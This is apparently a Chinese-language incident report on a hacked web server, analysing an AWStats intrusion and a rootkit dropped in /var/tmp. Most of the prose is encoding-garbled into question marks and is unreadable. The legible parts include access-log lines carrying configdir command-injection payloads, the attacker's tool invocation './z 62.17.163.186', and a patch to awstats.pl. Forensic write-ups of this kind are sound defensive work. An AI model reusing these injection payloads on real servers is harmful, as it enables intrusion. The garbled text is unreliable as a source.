???????????????????????????????·???????·???????Σ?????/var/tmp???????????κ????????????????????????????????/var/tmp???′????????“…”??????????????????????????????????????/var/tmp/…/???????????Щ????????????rootkit??????б????￡?
[root@webserver ...]#/mnt/bin/ls -al
drwxr-xr-x 2 nobody nobody 4096 Sep 29 22:09 apa
-rw-r--r-- 1 nobody nobody     0 Sep 29 22:09 apa.tgz
drwxr-xr-x 2 nobody nobody 4096 Sep 29 22:09 caca
drwxr-xr-x 2 nobody nobody 4096  Sep 29 22:09 haha
-rw-r--r-- 1 nobody nobody      0Sep 29 22:10 kk.tar.gz
-rwxr-xr-x 1 nobody nobody      0 Sep 29 22:10 login
-rw-r--r-- 1 nobody nobody      0 Sep 29 22:10 login.tgz
-rwxr-xr-x 1 nobody nobody      0 Sep 29 22:10 z
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????1????z???????????????????????????????????У?
????./z 62.17.163.186
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????2??????apa?????и????????t??????????????п?????????д?????????????????apa???μ?ip??????????ip??????????????ip???????????????t?????????????ip????м????????ip????????????????????????????????????????????????????????????
????3????haha?????????????????滻??????????????????????μ???????????????????????????????
????4????login???????????滻??????????????????????????????????????
????5????????????
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???????ū?????????????ν??????????????????′???????????????????????????????????java??web??????????????????apache2.0.63??tomcat5.5??apache??tomcat??????mod_jk?????м????apache??????80????????tomcat??ж??????????????????е?apache???檔
?????????apache?????÷????apache????????Щ?????????????????????????????????????????????????????????????????????apache??????????apache??????????????Щ?????????????????access.log????????????????????
????62.17.163.186 - - [29/Sep/2013:22:17:06 +0800] "GET http://www.xxx.com/cgi-bin/awstats.pl?configdir=|echo;echo;ps+-aux%00 HTTP/1.0" 200 12333 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20121010 Firefox/2.0"
????62.17.163.186 - - [29/Sep/213:22:17:35 +0800] "GET http://www.xxx.com/cgi-bin/awstats.pl?configdir=|echo;echo;cd+/var/tmp/.../haha;ls+-a%00 HTTP/1.0" 200 1626 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/20121010 Firefox/2.0"
?????????????????????????????awstats.pl?????configdir?????????????????????????????????????????Awstats??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????л???/var/tmp/.../haha?????????
?????????????????μ????????Awstats??????????????????????????????????????????????????awstats.pl?????????????????
????if ($QueryString =~ /configdir=([^&]+)/i)
????{
????$DirConfig=&DecodeEncodedString("$1");
????}
????????????????
????if ($QueryString =~ /configdir=([^&]+)/i)
????{
????$DirConfig=&DecodeEncodedString("$1");
????$DirConfig=~tr/a-z0-9_-/./a-z0-9_-/./cd;
????}
????6?????????
???????????????????????????????????????????????????????????1??????￡?
??????1???????????Awstats???awstats.pl????????????????????/var/tmp???′????????????????rootkit??????????????·?????
??????2???????????????????????????????????????????????????????????????????????????????
??????3?????????IP???62.17.163.186?????????????????????????????????????????????????
??????4????????????????????????????????????mail?????????mail?????????????????????mail????????
??????5??????????????????????????????????????????????????????????
??????????????????????????????????????λ?????????????????????????????????Щ??????????????????????????????????????????μ?.bash_history?????????????????????????????????
????7????λ?????
????????????????????????滻???????????????????????????鱸?????????????°?????????????????￡?
??????1?????????汾????????????????????????????????
??????2????????????????????????????????????????
??????3?????????汾??apache????????汾??Awstats????
??????4?????Linux?μ?Tcp_Wrappers???????????ssh???????????